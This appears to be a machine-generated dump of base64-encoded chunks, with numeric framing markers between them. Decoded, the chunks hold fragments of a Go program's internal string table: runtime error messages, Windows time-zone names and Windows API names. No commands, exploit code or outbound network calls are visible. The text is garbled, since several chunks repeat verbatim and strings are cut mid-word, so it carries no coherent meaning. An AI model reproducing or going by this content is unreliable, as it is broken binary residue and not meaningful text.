JcmFuIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDNGaWppIFN0YW5kYXJkIFRpbWUyOTgwMjMyMjM4NzY5NTMxMjVyZWZsZWN0LlZhbHVlLkVsZW1yZWZsZWN0LlZhbHVlLlR5cGVHZXRTaWRTdWJBdXRob3JpdHlRdWVyeVNlcnZpY2VTdGF0dXNHZXRDb21wdXRlck5hbWVFeFdHZXRNb2R1bGVGaWxlTmFtZVdhZGFwdGl2ZXN0YWNrc3RhcnRkb250ZnJlZXpldGhld29ybGR0cmFjZWFkdmFuY2VwZXJpb2R0cmFjZWJhY2thbmNlc3RvcnNnYXJiYWdlIGNvbGxlY3Rpb25zeW5jLlJXTXV0ZXguUkxvY2tHQyB3b3JrZXIgKGFjdGl2ZSlzdG9wcGluZyB0aGUgd29ybGR3YWl0IHVudGlsIEdDIGVuZHNzeXN0ZW0gcGFnZSBzaXplICggIGJ1dCBtZW1vcnkgc2l6ZSAvZ2MvcGF1c2VzOnNlY29uZHMgYmVjYXVzZSBkb3Rkb3Rkb3RydW50aW1lOiBucGFnZXMgPSBpbnZhbGlkIHNraXAgdmFsdWVydW50aW1lOiByYW5nZSA9IHtpbmRleCBvdXQgb2YgcmFuZ2VydW50aW1lOiAgIGdwOiBncD1ydW50121:T558,cnVudGltZS5uZXdvc3Byb2NpbnRlcm5hbC9ydW50aW1lL3RocmVhZCBleGhhdXN0aW9ubG9ja2VkIG0wIHdva2UgdXBlbnRlcnN5c2NhbGxibG9jayBzcGlubmluZ3RocmVhZHM9Z3Aud2FpdGluZyAhPSBuaWx0YWdnZWRQb2ludGVyUGFja3Vua25vd24gY2FsbGVyIHBjc3RhY2s6IGZyYW1lPXtzcDp0cmFjZSBhcmVuYSBhbGxvY3J1bnRpbWU6IG5hbWVPZmYgcnVudGltZTogdHlwZU9mZiBydW50aW1lOiB0ZXh0T2ZmIHBlcm1pc3Npb24gZGVuaWVkd3JvbmcgbWVkaXVtIHR5cGVubyBkYXRhIGF2YWlsYWJsZWV4ZWMgZm9ybWF0IGVycm9yTG9va3VwQWNjb3VudFNpZFdEbnNSZWNvcmRMaXN0RnJlZUdldEN1cnJlbnRQcm9jZXNzR2V0U2hvcnRQYXRoTmFtZVdXU0FFbnVtUHJvdG9jb2xzV1JlZ0xvYWRNVUlTdHJpbmdXbXVsdGlwYXJ0bWF4cGFydHNyZWZsZWN0LlZhbHVlLlVpbnRHZXRFeGl0Q29kZVByb2Nlc3NDdWJhIFN0YW5kYXJkIFRpbWVPbXNrIFN0YW5kYXJkIFRpbWVBcmFiIFN0YW5kYXJkIFRpbWVJcmFuIFN0YW5kYXJkIFRpbWVSdXNzaWEgVGltZSBab25lIDNGaWppIFN0YW5kYXJkIFRpbWUyOTgwMjMyMjM4NzY5NTMxMjVyZWZsZWN0LlZhbHVlLkVsZW1yZWZsZWN0LlZhbHVlLlR5cGVHZXRTaWRTdWJBdXRob3JpdHlRdWVyeVNlcnZpY2VTdGF0dXNHZXRDb21wdXRlck5hbWVFeFdHZXRNb2R1bGVGaWxlTmFtZVdhZGFwdGl2ZXN0YWNrc3RhcnRkb250ZnJlZXpldGhld29ybGR0cmFjZWFkdmFuY2VwZXJpb2R0cmFjZWJhY2thbmNlc3RvcnNnYXJiYWdlIGNvbGxlY3Rpb25zeW5jLlJXTXV0ZXguUkxvY2tHQyB3b3JrZXIgKGFjdGl2ZSlzdG9wcGluZyB0aGUgd29ybGR3YWl0IHVudGlsIEdDIGVuZHNzeXN0ZW0gcGFnZSBzaXplICggIGJ1dCBtZW1vcnkgc2l6ZSAvZ2MvcGF1c2VzOnNlY29uZHMgYmVjYXVzZSBkb3Rkb3Rkb3RydW50aW1lOiBucGFnZXMgPSBpbnZhbGlkIHNraXAgdmFsdWVydW50aW1lOiByYW5nZSA9IHtpbmRleCBvdXQgb2YgcmFuZ2VydW50aW1lOiAgIGdwOiBncD1ydW50aQ==122:T554,cnVudGltZS5QaW5uZXI6IG9iamVjdCBhbHJlYWR5IHVucGlubmVkc3VzcGVuZEcgZnJvbSBub24tcHJlZW1wdGlibGUgZ29yb3V0aW5lcnVudGltZTogY2FzZnJvbV9Hc2NhbnN0YXR1cyBmYWlsZWQgZ3A9c3RhY2sgZ3Jvd3RoIG5vdCBhbGxvd2VkIGluIHN5c3RlbSBjYWxsdHJhY2ViYWNrOiB1bmV4cGVjdGVkIFNQV1JJVEUgZnVuY3Rpb24gdHJhY2VSZWdpb246IGFsbG9jIHdpdGggY29uY3VycmVudCBkcm9wdHJhbnNwb3J0IGVuZHBvaW50IGlzIGFscmVhZHkgY29ubmVjdGVkdGltZTogU3RvcCBjYWxsZWQgb24gdW5pbml0aWFsaXplZCBUaW1lcjEzODc3Nzg3ODA3ODE0NDU2NzU1Mjk1Mzk1ODUxMTM1MjUzOTA2MjU2OTM4ODkzOTAzOTA3MjI4Mzc3NjQ3Njk3OTI1NTY3NjI2OTUzMTI1cnl1RnRvYUZpeGVkMzIgY2FsbGVkIHdpdGggbmVnYXRpdmUgcHJlY01hcEl0ZXIuS2V5IGNhbGxlZCBvbiBleGhhdXN0ZWQgaXRlcmF0b3JpbnZhbGlkIHNwYW4gaW4gaGVhcEFyZW5hIGZvciB1c2VyIGFyZW5hYnVsa0JhcnJpZXJQcmVXcml0ZTogdW5hbGlnbmVkIGFyZ3VtZW50c3J1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aCB0eXBlICByZWZpbGwgb2Ygc3BhbiB3aXRoIGZyZWUgc3BhY2UgcmVtYWluaW5nL2NwdS9jbGFzc2VzL3NjYXZlbmdlL2Fzc2lzdDpjcHUtc2Vjb25kc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBmYWlsZWQgdG8gYWNxdWlyZSBsb2NrIHRvIHJlc2V0IGNhcGFjaXR5bWFya1dvcmtlclN0b3A6IHVua25vd24gbWFyayB3b3JrZXIgbW9kZWNhbm5vdCBmcmVlIHdvcmtidWZzIHdoZW4gd29yay5mdWxsICE9IDBydW50aW1lOiBvdXQgb2YgbWVtb3J5OiBjYW5ub3QgYWxsb2NhdGUgcnVudGltZS5wcmVlbXB0TTogZHVwbGljYXRlaGFuZGxlIGZhaWxlZHN0b3BUaGVXb3JsZDogYnJva2VuIENQVSB0aW1lIGFjY291bnRpbmdnbG9iYWwgcnVucSBlbXB0eSB3aXRoIG5vbi16ZXJvIHJ1bnFzaXplbXVzdCBiZSBhYmxlIHRvIHRyYWNrIGlkbGUgbGlt123:T558,cnVudGltZS5QaW5uZXI6IG9iamVjdCBhbHJlYWR5IHVucGlubmVkc3VzcGVuZEcgZnJvbSBub24tcHJlZW1wdGlibGUgZ29yb3V0aW5lcnVudGltZTogY2FzZnJvbV9Hc2NhbnN0YXR1cyBmYWlsZWQgZ3A9c3RhY2sgZ3Jvd3RoIG5vdCBhbGxvd2VkIGluIHN5c3RlbSBjYWxsdHJhY2ViYWNrOiB1bmV4cGVjdGVkIFNQV1JJVEUgZnVuY3Rpb24gdHJhY2VSZWdpb246IGFsbG9jIHdpdGggY29uY3VycmVudCBkcm9wdHJhbnNwb3J0IGVuZHBvaW50IGlzIGFscmVhZHkgY29ubmVjdGVkdGltZTogU3RvcCBjYWxsZWQgb24gdW5pbml0aWFsaXplZCBUaW1lcjEzODc3Nzg3ODA3ODE0NDU2NzU1Mjk1Mzk1ODUxMTM1MjUzOTA2MjU2OTM4ODkzOTAzOTA3MjI4Mzc3NjQ3Njk3OTI1NTY3NjI2OTUzMTI1cnl1RnRvYUZpeGVkMzIgY2FsbGVkIHdpdGggbmVnYXRpdmUgcHJlY01hcEl0ZXIuS2V5IGNhbGxlZCBvbiBleGhhdXN0ZWQgaXRlcmF0b3JpbnZhbGlkIHNwYW4gaW4gaGVhcEFyZW5hIGZvciB1c2VyIGFyZW5hYnVsa0JhcnJpZXJQcmVXcml0ZTogdW5hbGlnbmVkIGFyZ3VtZW50c3J1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aCB0eXBlICByZWZpbGwgb2Ygc3BhbiB3aXRoIGZyZWUgc3BhY2UgcmVtYWluaW5nL2NwdS9jbGFzc2VzL3NjYXZlbmdlL2Fzc2lzdDpjcHUtc2Vjb25kc3J1bnRpbWUuU2V0RmluYWxpemVyOiBmaXJzdCBhcmd1bWVudCBpcyBmYWlsZWQgdG8gYWNxdWlyZSBsb2NrIHRvIHJlc2V0IGNhcGFjaXR5bWFya1dvcmtlclN0b3A6IHVua25vd24gbWFyayB3b3JrZXIgbW9kZWNhbm5vdCBmcmVlIHdvcmtidWZzIHdoZW4gd29yay5mdWxsICE9IDBydW50aW1lOiBvdXQgb2YgbWVtb3J5OiBjYW5ub3QgYWxsb2NhdGUgcnVudGltZS5wcmVlbXB0TTogZHVwbGljYXRlaGFuZGxlIGZhaWxlZHN0b3BUaGVXb3JsZDogYnJva2VuIENQVSB0aW1lIGFjY291bnRpbmdnbG9iYWwgcnVucSBlbXB0eSB3aXRoIG5vbi16ZXJvIHJ1bnFzaXplbXVzdCBiZSBhYmxlIHRvIHRyYWNrIGlkbGUgbGltaQ==124:T554,c2U6Y3B1LXNlY29uZHMvY3B1L2NsYXNzZXMvZ2MvdG90YWw6Y3B1LXNlY29uZHMvZ2MvbGltaXRlci9sYXN0LWVuYWJsZWQ6Z2MtY3ljbGUvbWVtb3J5L2NsYXNzZXMvaGVhcC9zdGFja3M6Ynl0ZXMvbWVtb3J5L2NsYXNzZXMvaGVhcC91bnVzZWQ6Ynl0ZXMvc2NoZWQvcGF1c2VzL3N0b3BwaW5nL2djOnNlY29uZHMvc2NoZWQvcGF1c2VzL3RvdGFsL290aGVyOnNlY29uZHNtaW4gbXVzdCBiZSBhIG5vbi16ZXJvIHBvd2VyIG9mIDJydW50aW1lOiBmYWlsZWQgbVNwYW5MaXN0Lmluc2VydCBydW50aW1lOiBjYXN0b2dzY2Fuc3RhdHVzIG9sZHZhbD1zdG9wbG9ja2VkbTogaW5jb25zaXN0ZW50IGxvY2tpbmdmaW5kcnVubmFibGU6IG5lZ2F0aXZlIG5tc3Bpbm5pbmdmcmVlaW5nIHN0YWNrIG5vdCBpbiBhIHN0YWNrIHNwYW5zdGFja2FsbG9jIG5vdCBvbiBzY2hlZHVsZXIgc3RhY2tydW50aW1lOiBnb3JvdXRpbmUgc3RhY2sgZXhjZWVkcyBydW50aW1lOiB0ZXh0IG9mZnNldCBvdXQgb2YgcmFuZ2V0aW1lciBwZXJpb2QgbXVzdCBiZSBub24tbmVnYXRpdmV0b28gbWFueSBjb25jdXJyZW50IHRpbWVyIGZpcmluZ3NydW50aW1lOiBuYW1lIG9mZnNldCBvdXQgb2YgcmFuZ2VydW50aW1lOiB0eXBlIG9mZnNldCBvdXQgb2YgcmFuZ2V0b28gbWFueSBsZXZlbHMgb2Ygc3ltYm9saWMgbGlua3NJbml0aWFsaXplUHJvY1RocmVhZEF0dHJpYnV0ZUxpc3R3YWl0aW5nIGZvciB1bnN1cHBvcnRlZCBmaWxlIHR5cGVjYW4ndCB3YWl0IG9uIGJsb2NraW5nIG9wZXJhdGlvbnNjb25jdXJyZW50IG1hcCByZWFkIGFuZCBtYXAgd3JpdGV0YWJsZSBtdXN0IGhhdmUgcG9zaXRpdmUgY2FwYWNpdHlHT0RFQlVHOiBubyB2YWx1ZSBzcGVjaWZpZWQgZm9yICJOb0RlZmF1bHRDdXJyZW50RGlyZWN0b3J5SW5FeGVQYXRoMzU1MjcxMzY3ODgwMDUwMDkyOTM1NTYyMTMzNzg5MDYyNXJlZmxlY3Q6IEZpZWxkIG9mIG5vbi1zdHJ1Y3QgdHlwZSByZWZsZWN0OiBGaWVsZCBpbmRleCBvdXQgb2YgYm91bmRzcmVmbGVjdDogc3RyaW5n125:T554,c3MgYWxyZWFkeSBpbiB1c2VuZXR3b3JrIGlzIHVucmVhY2hhYmxlY2Fubm90IGFsbG9jYXRlIG1lbW9yeXByb3RvY29sIG5vdCBhdmFpbGFibGVwcm90b2NvbCBub3Qgc3VwcG9ydGVkcmVtb3RlIGFkZHJlc3MgY2hhbmdlZENvbnZlcnRTaWRUb1N0cmluZ1NpZFdDb252ZXJ0U3RyaW5nU2lkVG9TaWRXR2V0RW52aXJvbm1lbnRTdHJpbmdzV0dldFRpbWVab25lSW5mb3JtYXRpb24lU3lzdGVtUm9vdCVcc3lzdGVtMzJcZXhpdCBob29rIGludm9rZWQgZXhpdDxpbnZhbGlkIHJlZmxlY3QuVmFsdWU+RS4gQWZyaWNhIFN0YW5kYXJkIFRpbWVUb2NhbnRpbnMgU3RhbmRhcmQgVGltZUFyZ2VudGluYSBTdGFuZGFyZCBUaW1lVmVuZXp1ZWxhIFN0YW5kYXJkIFRpbWVHcmVlbmxhbmQgU3RhbmRhcmQgVGltZVNyaSBMYW5rYSBTdGFuZGFyZCBUaW1lV2VzdCBCYW5rIFN0YW5kYXJkIFRpbWVReXp5bG9yZGEgU3RhbmRhcmQgVGltZVNpbmdhcG9yZSBTdGFuZGFyZCBUaW1lV2VzdCBBc2lhIFN0YW5kYXJkIFRpbWVHcmVlbndpY2ggU3RhbmRhcmQgVGltZUxvcmQgSG93ZSBTdGFuZGFyZCBUaW1lQXN0cmFraGFuIFN0YW5kYXJkIFRpbWVXLiBFdXJvcGUgU3RhbmRhcmQgVGltZUUuIEV1cm9wZSBTdGFuZGFyZCBUaW1lVm9sZ29ncmFkIFN0YW5kYXJkIFRpbWVNYXVyaXRpdXMgU3RhbmRhcmQgVGltZU1hcnF1ZXNhcyBTdGFuZGFyZCBUaW1lIiBub3QgZm91bmQgaW4gcmVnaXN0cnkyMzI4MzA2NDM2NTM4Njk2Mjg5MDYyNXJlZmxlY3QuVmFsdWUuSW50ZXJmYWNlcmVmbGVjdC5WYWx1ZS5OdW1NZXRob2RHZXRTaWRTdWJBdXRob3JpdHlDb3VudEltcGVyc29uYXRlTG9nZ2VkT25Vc2VyRGVzdHJveUVudmlyb25tZW50QmxvY2tpbmRleCBvdXQgb2YgcmFuZ2UgWyV4XVJlYWRNZW1TdGF0c1Nsb3cgKHRlc3QpY2hhbiByZWNlaXZlIChuaWwgY2hhbilnYXJiYWdlIGNvbGxlY3Rpb24gc2Nhbm1ha2VjaGFuOiBiYWQgYWxpZ25tZW50Y2xvc2Ugb2YgY2xvc2VkIGNoYW5uZWx1bmxvY2sgb2YgdW5sb2NrZWQgbG9jaykgbXVz126:T558,c3MgYWxyZWFkeSBpbiB1c2VuZXR3b3JrIGlzIHVucmVhY2hhYmxlY2Fubm90IGFsbG9jYXRlIG1lbW9yeXByb3RvY29sIG5vdCBhdmFpbGFibGVwcm90b2NvbCBub3Qgc3VwcG9ydGVkcmVtb3RlIGFkZHJlc3MgY2hhbmdlZENvbnZlcnRTaWRUb1N0cmluZ1NpZFdDb252ZXJ0U3RyaW5nU2lkVG9TaWRXR2V0RW52aXJvbm1lbnRTdHJpbmdzV0dldFRpbWVab25lSW5mb3JtYXRpb24lU3lzdGVtUm9vdCVcc3lzdGVtMzJcZXhpdCBob29rIGludm9rZWQgZXhpdDxpbnZhbGlkIHJlZmxlY3QuVmFsdWU+RS4gQWZyaWNhIFN0YW5kYXJkIFRpbWVUb2NhbnRpbnMgU3RhbmRhcmQgVGltZUFyZ2VudGluYSBTdGFuZGFyZCBUaW1lVmVuZXp1ZWxhIFN0YW5kYXJkIFRpbWVHcmVlbmxhbmQgU3RhbmRhcmQgVGltZVNyaSBMYW5rYSBTdGFuZGFyZCBUaW1lV2VzdCBCYW5rIFN0YW5kYXJkIFRpbWVReXp5bG9yZGEgU3RhbmRhcmQgVGltZVNpbmdhcG9yZSBTdGFuZGFyZCBUaW1lV2VzdCBBc2lhIFN0YW5kYXJkIFRpbWVHcmVlbndpY2ggU3RhbmRhcmQgVGltZUxvcmQgSG93ZSBTdGFuZGFyZCBUaW1lQXN0cmFraGFuIFN0YW5kYXJkIFRpbWVXLiBFdXJvcGUgU3RhbmRhcmQgVGltZUUuIEV1cm9wZSBTdGFuZGFyZCBUaW1lVm9sZ29ncmFkIFN0YW5kYXJkIFRpbWVNYXVyaXRpdXMgU3RhbmRhcmQgVGltZU1hcnF1ZXNhcyBTdGFuZGFyZCBUaW1lIiBub3QgZm91bmQgaW4gcmVnaXN0cnkyMzI4MzA2NDM2NTM4Njk2Mjg5MDYyNXJlZmxlY3QuVmFsdWUuSW50ZXJmYWNlcmVmbGVjdC5WYWx1ZS5OdW1NZXRob2RHZXRTaWRTdWJBdXRob3JpdHlDb3VudEltcGVyc29uYXRlTG9nZ2VkT25Vc2VyRGVzdHJveUVudmlyb25tZW50QmxvY2tpbmRleCBvdXQgb2YgcmFuZ2UgWyV4XVJlYWRNZW1TdGF0c1Nsb3cgKHRlc3QpY2hhbiByZWNlaXZlIChuaWwgY2hhbilnYXJiYWdlIGNvbGxlY3Rpb24gc2Nhbm1ha2VjaGFuOiBiYWQgYWxpZ25tZW50Y2xvc2Ugb2YgY2xvc2VkIGNoYW5uZWx1bmxvY2sgb2YgdW5sb2NrZWQgbG9jaykgbXVzdA==127:T554,dGVyIGV2ZW50cnVudGltZTogU3lzY2FsbE4gaGFzIHRvbyBtYW55IGFyZ3VtZW50c2dvcm91dGluZSBzdGFjayBzaXplIGlzIG5vdCBhIHBvd2VyIG9mIDJhZGRyZXNzIGZhbWlseSBub3Qgc3VwcG9ydGVkIGJ5IHByb3RvY29sdW5leHBlY3RlZCBjYWxsIHRvIG9zLkV4aXQoMCkgZHVyaW5nIHRlc3QzNDY5NDQ2OTUxOTUzNjE0MTg4ODIzODQ4OTYyNzgzODEzNDc2NTYyNXN0cmNvbnY6IGlsbGVnYWwgQXBwZW5kSW50L0Zvcm1hdEludCBiYXNlY2FuJ3QgY2FsbCBwb2ludGVyIG9uIGEgbm9uLXBvaW50ZXIgVmFsdWVNYXBJdGVyLk5leHQgY2FsbGVkIG9uIGV4aGF1c3RlZCBpdGVyYXRvcnJ1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aG91dCB0eXBlV0FSTklORzogTElLRUxZIENMRUFOVVAvRklOQUxJWkVSIElTU1VFUy9tZW1vcnkvY2xhc3Nlcy9tZXRhZGF0YS9tc3Bhbi9mcmVlOmJ5dGVzcnVudGltZS5TZXRGaW5hbGl6ZXI6IHNlY29uZCBhcmd1bWVudCBpcyBnY1N3ZWVwIGJlaW5nIGRvbmUgYnV0IHBoYXNlIGlzIG5vdCBHQ29mZm9iamVjdHMgYWRkZWQgb3V0IG9mIG9yZGVyIG9yIG92ZXJsYXBwaW5nbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIHN0YWNrIGZyZWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgc3BhbiBzdGF0ZWF0dGVtcHRlZCB0byBhZGQgemVyby1zaXplZCBhZGRyZXNzIHJhbmdlcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGNsb3NpbmcgcG9sbGRlc2NydW50aW1lOiBTZXRXYWl0YWJsZVRpbWVyIGZhaWxlZDsgZXJybm89IHN0b3BUaGVXb3JsZDogbm90IHN0b3BwZWQgKHN0b3B3YWl0ICE9IDApaW52YWxpZCB0aW1lcjogZmFrZSB0aW1lIGJ1dCBubyBzeW5jZ3JvdXBydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBhcmVuYS1hbGxvY2F0ZWQxNzM0NzIzNDc1OTc2ODA3MDk0NDExOTI0NDgxMzkxOTA2NzM4MjgxMjU4NjczNjE3Mzc5ODg0MDM1NDcyMDU5NjIyNDA2OTU5NTMzNjkxNDA2MjVNYXBJdGVyLlZhbHVlIGNhbGxlZCBvbiBleGhhdXM=128:T554,dGVyIGV2ZW50cnVudGltZTogU3lzY2FsbE4gaGFzIHRvbyBtYW55IGFyZ3VtZW50c2dvcm91dGluZSBzdGFjayBzaXplIGlzIG5vdCBhIHBvd2VyIG9mIDJhZGRyZXNzIGZhbWlseSBub3Qgc3VwcG9ydGVkIGJ5IHByb3RvY29sdW5leHBlY3RlZCBjYWxsIHRvIG9zLkV4aXQoMCkgZHVyaW5nIHRlc3QzNDY5NDQ2OTUxOTUzNjE0MTg4ODIzODQ4OTYyNzgzODEzNDc2NTYyNXN0cmNvbnY6IGlsbGVnYWwgQXBwZW5kSW50L0Zvcm1hdEludCBiYXNlY2FuJ3QgY2FsbCBwb2ludGVyIG9uIGEgbm9uLXBvaW50ZXIgVmFsdWVNYXBJdGVyLk5leHQgY2FsbGVkIG9uIGV4aGF1c3RlZCBpdGVyYXRvcnJ1bnRpbWU6IHR5cGVCaXRzQnVsa0JhcnJpZXIgd2l0aG91dCB0eXBlV0FSTklORzogTElLRUxZIENMRUFOVVAvRklOQUxJWkVSIElTU1VFUy9tZW1vcnkvY2xhc3Nlcy9tZXRhZGF0YS9tc3Bhbi9mcmVlOmJ5dGVzcnVudGltZS5TZXRGaW5hbGl6ZXI6IHNlY29uZCBhcmd1bWVudCBpcyBnY1N3ZWVwIGJlaW5nIGRvbmUgYnV0IHBoYXNlIGlzIG5vdCBHQ29mZm9iamVjdHMgYWRkZWQgb3V0IG9mIG9yZGVyIG9yIG92ZXJsYXBwaW5nbWhlYXAuZnJlZVNwYW5Mb2NrZWQgLSBpbnZhbGlkIHN0YWNrIGZyZWVtaGVhcC5mcmVlU3BhbkxvY2tlZCAtIGludmFsaWQgc3BhbiBzdGF0ZWF0dGVtcHRlZCB0byBhZGQgemVyby1zaXplZCBhZGRyZXNzIHJhbmdlcnVudGltZTogYmxvY2tlZCByZWFkIG9uIGNsb3NpbmcgcG9sbGRlc2NydW50aW1lOiBTZXRXYWl0YWJsZVRpbWVyIGZhaWxlZDsgZXJybm89IHN0b3BUaGVXb3JsZDogbm90IHN0b3BwZWQgKHN0b3B3YWl0ICE9IDApaW52YWxpZCB0aW1lcjogZmFrZSB0aW1lIGJ1dCBubyBzeW5jZ3JvdXBydW50aW1lLkFkZENsZWFudXA6IHB0ciBpcyBhcmVuYS1hbGxvY2F0ZWQxNzM0NzIzNDc1OTc2ODA3MDk0NDExOTI0NDgxMzkxOTA2NzM4MjgxMjU4NjczNjE3Mzc5ODg0MDM1NDcyMDU5NjIyNDA2OTU5NTMzNjkxNDA2MjVNYXBJdGVyLlZhbHVlIGNhbGxlZCBvbiBleGhhdXN0129:T554,dGVyaW5idXJnIFN0YW5kYXJkIFRpbWVFLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZVcuIEF1c3RyYWxpYSBTdGFuZGFyZCBUaW1lQm91Z2FpbnZpbGxlIFN0YW5kYXJkIFRpbWVMaW5lIElzbGFuZHMgU3RhbmRhcmQgVGltZVdlc3QgUGFjaWZpYyBTdGFuZGFyZCBUaW1lMTQ1NTE5MTUyMjgzNjY4NTE4MDY2NDA2MjU3Mjc1OTU3NjE0MTgzNDI1OTAzMzIwMzEyNXVua25vd24gQUJJIHBhcmFtZXRlciBraW5kU2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVSdGxOdFN0YXR1c1RvRG9zRXJyb3JOb1RlYmFsbCBnb3JvdXRpbmVzIHN0YWNrIHRyYWNlR0MgYmFja2dyb3VuZCBzd2VlcGVyIHdhaXRjYWxsIGZyb20gdW5rbm93biBmdW5jdGlvbm5vdGV3YWtldXAgLSBkb3VibGUgd2FrZXVwcGVyc2lzdGVudGFsbG9jOiBzaXplID09IDAvZ2MvY3ljbGVzL3RvdGFsOmdjLWN5Y2xlc2JhZCB0eXBlIGtpbmQgaW4gZmluYWxpemVybmVnYXRpdmUgaWRsZSBtYXJrIHdvcmtlcnN1c2Ugb2YgaW52YWxpZCBzd2VlcExvY2tlcnJ1bnRpbWU6IGJhZCBzcGFuIHMuc3RhdGU9Zm9yRWFjaFA6IFAgZGlkIG5vdCBydW4gZm53YWtlcDogbmVnYXRpdmUgbm1zcGlubmluZ3N0YXJ0bG9ja2VkbTogbG9ja2VkIHRvIG1laW5pdHRhc2sgd2l0aCBubyBmdW5jdGlvbnNjb3JydXB0ZWQgc2VtYXBob3JlIHRpY2tldG91dCBvZiBtZW1vcnkgKHN0YWNrYWxsb2Mpc2hyaW5raW5nIHN0YWNrIGluIGxpYmNhbGxydW50aW1lOiBwY0hlYWRlcjogbWFnaWM9IHRyYWNlUmVnaW9uOiBvdXQgb2YgbWVtb3J5aW52YWxpZCByZXF1ZXN0IGRlc2NyaXB0b3JubyBDU0kgc3RydWN0dXJlIGF2YWlsYWJsZXJlcXVpcmVkIGtleSBub3QgYXZhaWxhYmxlbm8gbWVzc2FnZSBvZiBkZXNpcmVkIHR5cGVuYW1lIG5vdCB1bmlxdWUgb24gbmV0d29ya0NlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXNpbmNvbnNpc3RlbnQgcHJvY2VzcyBzdGF0dXNFYXN0ZXIgSXNsYW5kIFN0YW5kYXJkIFRpbWUzNjM3OTc4ODA312a:T558,dGVyaW5idXJnIFN0YW5kYXJkIFRpbWVFLiBBdXN0cmFsaWEgU3RhbmRhcmQgVGltZVcuIEF1c3RyYWxpYSBTdGFuZGFyZCBUaW1lQm91Z2FpbnZpbGxlIFN0YW5kYXJkIFRpbWVMaW5lIElzbGFuZHMgU3RhbmRhcmQgVGltZVdlc3QgUGFjaWZpYyBTdGFuZGFyZCBUaW1lMTQ1NTE5MTUyMjgzNjY4NTE4MDY2NDA2MjU3Mjc1OTU3NjE0MTgzNDI1OTAzMzIwMzEyNXVua25vd24gQUJJIHBhcmFtZXRlciBraW5kU2V0RmlsZUluZm9ybWF0aW9uQnlIYW5kbGVSdGxOdFN0YXR1c1RvRG9zRXJyb3JOb1RlYmFsbCBnb3JvdXRpbmVzIHN0YWNrIHRyYWNlR0MgYmFja2dyb3VuZCBzd2VlcGVyIHdhaXRjYWxsIGZyb20gdW5rbm93biBmdW5jdGlvbm5vdGV3YWtldXAgLSBkb3VibGUgd2FrZXVwcGVyc2lzdGVudGFsbG9jOiBzaXplID09IDAvZ2MvY3ljbGVzL3RvdGFsOmdjLWN5Y2xlc2JhZCB0eXBlIGtpbmQgaW4gZmluYWxpemVybmVnYXRpdmUgaWRsZSBtYXJrIHdvcmtlcnN1c2Ugb2YgaW52YWxpZCBzd2VlcExvY2tlcnJ1bnRpbWU6IGJhZCBzcGFuIHMuc3RhdGU9Zm9yRWFjaFA6IFAgZGlkIG5vdCBydW4gZm53YWtlcDogbmVnYXRpdmUgbm1zcGlubmluZ3N0YXJ0bG9ja2VkbTogbG9ja2VkIHRvIG1laW5pdHRhc2sgd2l0aCBubyBmdW5jdGlvbnNjb3JydXB0ZWQgc2VtYXBob3JlIHRpY2tldG91dCBvZiBtZW1vcnkgKHN0YWNrYWxsb2Mpc2hyaW5raW5nIHN0YWNrIGluIGxpYmNhbGxydW50aW1lOiBwY0hlYWRlcjogbWFnaWM9IHRyYWNlUmVnaW9uOiBvdXQgb2YgbWVtb3J5aW52YWxpZCByZXF1ZXN0IGRlc2NyaXB0b3JubyBDU0kgc3RydWN0dXJlIGF2YWlsYWJsZXJlcXVpcmVkIGtleSBub3QgYXZhaWxhYmxlbm8gbWVzc2FnZSBvZiBkZXNpcmVkIHR5cGVuYW1lIG5vdCB1bmlxdWUgb24gbmV0d29ya0NlcnRGcmVlQ2VydGlmaWNhdGVDb250ZXh0UG9zdFF1ZXVlZENvbXBsZXRpb25TdGF0dXNpbmNvbnNpc3RlbnQgcHJvY2VzcyBzdGF0dXNFYXN0ZXIgSXNsYW5kIFN0YW5kYXJkIFRpbWUzNjM3OTc4ODA3MA==12b:T554,dGltZUJlZ2luL0VuZFBlcmlvZCBub3QgZm91bmR0cmllZCB0byB1bnBpbiBub24tR28gcG9pbnRlcnJ1bnRpbWU6IHN1ZG9nIHdpdGggbm9uLW5pbCBjZW50ZXJzeXNjYWxsIGluY29uc2lzdGVudCBicCBlbnRlcnN5c2NhbGwgaW5jb25zaXN0ZW50IHNwIGdmcHV0OiBiYWQgc3RhdHVzIChub3QgR2RlYWQpTG9ja09TVGhyZWFkIG5lc3Rpbmcgb3ZlcmZsb3dzZW1hY3F1aXJlIG5vdCBvbiB0aGUgRyBzdGFja3J1bnRpbWU6IHNwbGl0IHN0YWNrIG92ZXJmbG93c3RyaW5nIGNvbmNhdGVuYXRpb24gdG9vIGxvbmdpbnZhbGlkIGZ1bmN0aW9uIHN5bWJvbCB0YWJsZXRyYWNlOiByZWFkaW5nIGFmdGVyIHNodXRkb3ducnVudGltZTogdHJhY2ViYWNrIHN0dWNrLiBwYz10cmllZCB0byB0cmFjZSBkZWFkIGdvcm91dGluZXJ1bnRpbWU6IGltcG9zc2libGUgdHlwZSBraW5kcnVudGltZS5zZW1hc2xlZXAgd2FpdF9mYWlsZWRvcGVyYXRpb24gYWxyZWFkeSBpbiBwcm9ncmVzc25vIFhFTklYIHNlbWFwaG9yZXMgYXZhaWxhYmxldG9vIG1hbnkgb3BlbiBmaWxlcyBpbiBzeXN0ZW1tYWNoaW5lIGlzIG5vdCBvbiB0aGUgbmV0d29ya3Byb3RvY29sIGZhbWlseSBub3Qgc3VwcG9ydGVkbnVtZXJpY2FsIHJlc3VsdCBvdXQgb2YgcmFuZ2VEZWxldGVQcm9jVGhyZWFkQXR0cmlidXRlTGlzdHJ1bnRpbWUuQWRkQ2xlYW51cDogcHRyIGlzIG5pbEVhc3Rlcm4gU3RhbmRhcmQgVGltZSAoTWV4aWNvKVR1cmtzIEFuZCBDYWljb3MgU3RhbmRhcmQgVGltZUNlbnRyYWwgU3RhbmRhcmQgVGltZSAoTWV4aWNvKUUuIFNvdXRoIEFtZXJpY2EgU3Rh